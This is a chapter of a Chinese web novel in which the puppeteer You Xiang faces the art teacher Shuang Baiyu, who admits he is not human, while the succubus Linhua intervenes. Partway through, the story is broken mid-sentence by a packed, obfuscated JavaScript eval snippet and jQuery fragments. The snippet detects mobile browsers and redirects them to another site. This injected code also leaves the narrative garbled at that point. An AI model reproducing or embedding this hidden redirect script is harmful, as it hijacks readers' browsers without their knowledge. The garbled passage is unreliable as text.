9. 孰真孰假

作品:《漂亮魅魔非要跟他过不去

    窗外枝丫,停驻其上的鸟雀微张开双翅,用鸟喙梳理着绒羽,几米外的地方传来响声,它偏着脑袋看向室内,漆黑的豆豆眼内倒影着一窗之隔的景象。


    少女收敛了面上的笑意,不远处的青年显得好整以暇,看样子实在不像是一个落了下风的状态。


    游香细想这一路的发展,并不觉得哪里有纰漏,事情向着她希望的那样发生了,画展刚开始的时候,她有在一楼负责招待,来的人不光光就他们班的。


    显然有论坛帖在前做铺垫,不管它最终指向的结果是什么,这个消息的讨论度上去了,大家多少会来凑个热闹。


    那霜习老师现在的反应算什么。


    发展太过顺利也会成为问题本身吗?还是说……


    她的思路被一声轻笑打断。


    略偏向一边的额发阴影覆盖了霜白语右眼,他唇角的笑意不再掩饰。


    游香眯了眯眼。即便还不到掌控全局的程度,但清楚自己必输的人不会有笑的心情。


    她不动声色地准备撤回游荡在一层的这些个玩偶,但刚有动作,余光撩到了异样,游香倏然愣了一下,猛地转头看向门口。


    那里有一道灰色的模糊影子落在地上,对方站在更靠近她的这一侧,也就断了她能在原地一览无余的可能。


    螺旋式的台阶设计使得楼梯边的平台压缩到了极致,只能让人短暂地路过,没法长时间停留——因为这会影响后来上到二层的人。


    但是现在,投落在地面影子一动不动,她没法贸贸然地让人偶上来探路。


    一方面不清楚外头站着的是敌是友,正是基于此,她不能让玩偶冒险,情感上不允许,再者她现在仰仗着人偶给她撑场面,这是能让霜白语听话的唯一手段。


    另一方面,她不敢赌,万一对方真是霜白语的帮手,那现在的局势会瞬间翻转。


    说不定刚刚的话本身就是个陷阱,假意投降让她放松警惕,从而一举扭转现如今的局势。


    “怎么这样看我,脸上有东西?”


    霜白语说着往前走了一小步,借由角度变化,躲开了楼梯间那人望过来的视线。


    又像是为了迷惑面前少女,他抬手摸上自己的脸。


    “还是说,你开始怀疑,站在你面前的是真的‘我’吗?”


    霜白语把握着字句间的停顿,留给人足够多想的时间,重新捡起了我是谁的哲学话题,“虽然我只是个美术老师,但不影响偶尔跟人谈谈心之类的。”


    他是谁……


    少女放松垂在身侧的手指一蜷。


    思路瞬间乱了。


    游香不由自主地顺着他的话发散了思维。


    最先想到的是不久前在霜白语身上嗅到的一丝属于他的气息。


    她跟凛华接触不多。


    但不代表她看不出来对方非人的身份,为数不多的几次见面,凛华从没有刻意隐瞒这点。


    所以人偶的秘密,游香跟他透过一点底,无关紧要的一点,不过是让人偶短时间内不排斥对方而已,实际掌控权依旧掌握在游香手中。


    她可以选择随时收回。


    游香再次打量着面前的霜白语,找不到丝毫两者相像的地方。


    凛华也没理由扮成霜习老师的模样,跟她打对抗赛,那毫无意义。


    可是这也并非绝对,游香暗自咬紧了后槽牙,哪个才是真的……


    不行,冷静下来,对方故意在混淆视听,不管他是谁,都不能顺着他的思路走。


    对方从一开始就在拖延时间,这点是没变的,为的是尽可能多得让学生离开这里,毕竟游香只是控制人偶,并没有封锁出口。


    游香撩了把落下来的后发,找回了最初的那种状态,“霜习老师,你就是你啊,除此之外还有别的可能吗?”


    “那真遗憾。”


    青年轻耸了一下肩,“还以为能把你糊弄过去。”


    窗外树枝上的鸟雀停下梳理羽毛,朝着一边笔直地跳过两步,它又歪了歪脑袋,眨着绿豆大小的黑眼珠,没过几秒,被里面骤然拔高的音调惊扰,扑腾着翅膀飞离了停驻的这棵树。


    徒留树梢来回地晃颤。


    被霜白语的两次戏耍彻底消磨掉了耐心,游香不再听他做出任何别的狡辩,让原本停了一会的人偶重新动作,这一次很有目的地把先前悄悄往外跑的学生重新驱赶回来。


    上蹿下跳的人偶拦截在必经的出入口,龇牙威胁着任何一个打算靠近的人。


    “老师,这次无论你再说什么,我都不会让我可爱的人偶们停下来了。”


    “你要为之前的行为负责,成年人了,不该这么任性。”


    游香每说一句话,都在留心霜白语的反应,但料想中的挫败并没有出现在对方脸上,相比于之前,他看起来十分无所谓。


    “原来我在你眼里,是很有道德心的好老师吗?”


    霜白语苦恼地点了点太阳穴,轻哂:“不好意思,那都是装出来骗你的。要知道底下这些首先是人类,其次才是学生。你跟着司事干了这么久的活,不知道我其实不是人吗?还以为上次的意外足够让你发现我身份了。”


    “结果是我高估你了,你只是意外这其中有我的事,完全没想过我的物种吗?”


    霜白语五指并拢,朝向自己隔空戳了两戳。


    他往边上走过两步,整个人靠向一侧的木质摆架,“至于老师这碗饭,丢了好像挺可惜的,但也并非完全活不下去嘛。”


    游香一瞬褪去了面上的血色,她感觉掌心泛起绵密的痛意,意识到自己正不自觉地捏紧了拳头,修剪圆润的指甲狠狠地挤压着手心,留下很深的月牙印。


    哪怕她不承认,也改变不了自己接二连三被牵着鼻子走的事实,心情更是因为对方一两句话而起起伏伏。


    挫败感先一步找上了她。


    游香没法反驳,甚至过往的细节一一对上了,包括司事好几次的欲言又止,明明已经很明确地给到了关于霜白语身份的提示,却都被她想当然地忽略了。


    彼此间的沉默没有持续太久,在外旁听了许久墙角的影子终于动了,他缓步向前,走到二层的过道口,露出了真面目。


    圣欣高校的制服松松垮垮地穿戴在身,维持着少年形态的魅魔装出误入了争执现场的惊诧反应。


    “嗨?我好像来得不是时候。”


    本就不太平衡的天平两端因为凛华这一搅局,骤然发生了变化。


    不知何时,等注意力重新集中到当下本身之时,游香骤然发现哪怕后来她让人偶重新行动,并没有熟悉的尖叫声传来,一层静默得好似空无一人。


    她现在甚至开始怀疑,不久前自己听见的属于别人的惊叫存在的真实性。


    人总是不太能理解


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405187|200467||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    超出自己想象范围外,会发生的事。


    说不定那只是面前这两人联手演给她看的,实际从来没有如她预想的那样呢?这也能解释霜白语为什么能这么快地转变态度。


    仅仅是自己跳梁小丑似的做派太可笑,让他作为看客都不忍直视。


    不。


    不可以,不该是这样的。


    游香感觉脑海中有根弦绷断了,她无法忍受地抬起手,掌心朝上,形如一个舞蹈的起手动作。


    “别紧张。”


    也不知凛华如何行动的,游香只觉得眼前一花,对方瞬间缩短了彼此距离,一把扣住了她召回人偶用意的手。


    “我跟你对面那位,可不是一路的。”


    凛华弯起眼,阻止游香打算无差别攻击的做法,同时面朝霜白语,不赞同地指出人行为的不恰当。


    “把一个学生逼到宁可自损八百也要先干掉你的地步,霜习老师,你未免太不厚道了点吧。”


    霜白语瞧着若有所思,而后像是印证了事情发展真正朝着某个方向去了这一事实,他露出了个果然如此的表情。


    魅魔见状,松开了抓着游香手腕的手,一改先前开玩笑似的模样。他的腰背发力微微拱起,摆出了兽类进攻前蓄势待发的姿态。


    霜白语似乎隐约察觉到了什么,这并不是个好的发展。


    锵——


    宛如系统重启前的滞缓停顿,不大不小正正好的展厅被解构成建筑模型,肉眼不可见其形态的空气中充斥着细小杂乱的红色线条和块状物。


    身处其间的游香和凛华的身影化作数据串,分解流散再行重组。


    而霜白语,时空维度没能在他身上施以同样的限制,此刻正无声打量着面前发生的一切。


    跟最开始想要回去时遇见的空气墙类似,当时他原本的计划是回家休息,凭空出现的红色墙体拦住了他,受其指示去到的地点,刚好碰上了凛华。


    这次情况类似,但影响似乎更大一些。


    原先一切发展确实如同游香所期望的那般,混乱爆发时,霜白语倒也不是真无能为力,他没行动完全是看到了一楼,装模作样混迹在人群中的凛华。


    人偶压根没上嘴咬,魅魔却制造出了混乱正上演的假象——他嚎着别裹乱招呼别人别妄图用尖叫声波攻击时的语调有多慌乱,他面上的表情就有多镇定。


    更甚者,对方可能考虑到了游香跟人偶间有直接联系,不止在听觉上欺骗了她,在视觉上同样如此,小题大做地对着现场一干人类动用了恶魔系的致幻手段。


    一直到这里,凛华的所作所为似乎都跟他统一战线。


    等确保一楼完全在自己的掌控中,魅魔好心情地踏上了通往二层的台阶。


    凛华没有掩饰他上来的动静,哒哒哒的脚步声非常刻意,跟他一同到来的还有那个眯眯眼老熟人偶。


    后者一见到霜白语,像见了结怨八百年的老仇人,不管三七二十一,上嘴就咬。


    霜白语当然不会白白站着,可就在他行动前,魅魔察觉到他意图后作出的抉择更快。


    只一瞬,心脏被攥紧的麻痹感再度复苏。


    霜白语微微睁圆双眼,陡然呕出一口鲜血,身形踉跄前倾时,被魅魔一把抓住。


    凛华贴心地充当着人形支架,凑到他耳边轻语:


    “我劝过你的,最好别咬。”